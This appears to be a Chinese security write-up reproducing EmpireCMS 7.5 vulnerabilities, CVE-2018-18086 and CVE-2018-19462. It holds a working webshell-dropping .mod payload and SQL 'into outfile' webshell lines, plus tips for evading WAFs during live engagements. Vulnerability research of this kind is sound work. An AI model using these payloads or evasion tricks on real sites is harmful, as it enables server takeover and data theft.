No.0
漏洞描述
本次CVE复现了四个EmpireCMSv7.5的漏洞,在此一并记录下。
CVE-2018-18086 后台getshell
CVE-2018-19462 代码注入
后台xss
前台xss
No.1
漏洞环境
所需环境EmpireCMS <= 7.5
本次漏洞复现所用环境为EmpireCMSv7.5
EmpireCMS环境下载地址:http://www.phome.net/download/
登录admin账号,路径/e/admin/index.php
No.2
漏洞环境
CVE-2018-18086 后台getshell
EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行。
EmpireCMS7.5版本中的/e/class/moddofun.php文件的”LoadInMod”函数存在安全漏洞,攻击者可利用该漏洞上传任意文件。
//导入模型elseif($enews=="LoadInMod"){ $file=$_FILES['file']['tmp_name'];
$file_name=$_FILES['file']['name']; $file_type=$_FILES['file']['type']; $file_size=$_FILES['file']['size'];
LoadInMod($_POST,$file,$file_name,$file_type,$file_size,$logininid,$loginin);}
转到LoadInMod定义在localhost/EmpireCMS/e/class/moddofun.php找到上传文件的定义
//上传文件 $path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php"; $cp=@move_uploaded_file($file,$path);
if(!$cp) { printerror("EmptyLoadInMod",""); } DoChmodFile($path); @include($path); UpdateTbDefMod($tid,$tbname,$mid);
该函数用于加载模块(.mod文件)到系统中,接受文件信息和用户身份验证信息作为参数。它执行权限检查,验证文件信息,防止重复加载模块,并将上传文件移动到指定位置后包含执行。
使用move_uploaded_file函数将临时文件移动到指定位置。然而,此处没有对文件路径进行充分的验证
使用include语句包含了上传的模块文件。但是,没有对模块文件的内容进行充分验证下方代码@include($path)直接包含文件,因此可以通过添加创建文件的代码绕过。
文件包含上传文件处使用time().makepassword(10)进行加密文件名
//取得随机数function make_password($pw_length){ $low_ascii_bound=48; $upper_ascii_bound=122;
$notuse=array(58,59,60,61,62,63,64,91,92,93,94,95,96); while($i<$pw_length) { if(PHP_VERSION<'4.2.0') {
mt_srand((double)microtime()*1000000); } mt_srand(); $randnum=mt_rand($low_ascii_bound,$upper_ascii_bound);
if(!in_array($randnum,$notuse)) { $password1=$password1.chr($randnum); $i++; } } return $password1;}
漏洞复现
来到导入系统模型的页面位置: 管理数据表 > 导入系统模型
本地准备一个touch.php.mod,注意这里需要用$进行转义,存放的数据表名需要填一个数据库内没有的表名,点击上传
<?php file_put_contents("getshell.php","<?php @eval($_POST[cmd]); ?>");?>
导入成功后进行访问
/e/admin/getshell.php
几个实战中遇到的坑
1.有waf报错500500很容易联想到禁止web流量,那么我们上传的一句话木马默认情况下是不进行加密的,所以很容易被waf识别并拦截。
解决方法:使用蚁剑自带的base64编码器和解密器即可成功上线,这里也可以用自己的编码器和解密器绕过waf拦截
2.不能使用冰蝎、哥斯拉马
实战小技巧
如果有waf拦截web流量就走加密传输,如果始终连接不上就要一步步的进行排查。这里可以在一句话密码后面输出一个echo 123,通过是否有回显来探测哪一步没有完善导致连接不成功
CVE-2018-19462 代码注入
用select ... into outfile语句写入php一句话木马
select '' into outfile 'E:/Wamp2.5/wamp/www/EmpireCMS/getshell.php'
虽然用绝对路径挺鸡肋的,但是可以用上面的漏洞进行phpinfo 搜索这个参数
_SERVER["SCRIPT_FILENAME"]
分析源码定位漏洞出现的位置在localhost/EmpireCMS/e/admin/db/DoSql.php,对sqltext进行RepSqlTbpre函数处理
payload
用select ... into outfile语句写入php一句话木马,但是这里需要知道存放的绝对路径,这里可以使用一个phpinfo()用第一种方法传上去 |位置:管理SQL语句 > 增加SQL语句|
select '' into outfile '/var/www/html/e/admin/Get.php'
实战中的一些坑
我们知道secure_file_priv这个参数在mysql的配置文件里起到的是能否写入的作用,当secure_file_priv = 为空,则可以写入sql语句到数据库,当secure_file_priv = NULL,则不可以往数据库里写sql语句,当secure_file_priv = /xxx,一个指定目录的时候,就只能往这个指定的目录里面写东西
这个地方很明显报错就是限制数据库的导入跟导出,这里很明显判断
secure_file_priv = NULL,
所以当实战中出现在这种情况下是不能够用这种方法的
如果在本地可以在my.ini修改或添加secure_file_priv = 这一行语句
WEB学员投稿
No.3
原文始发于微信公众号(隐雾安全):帝国CMS又名Empirecms-v7.5漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论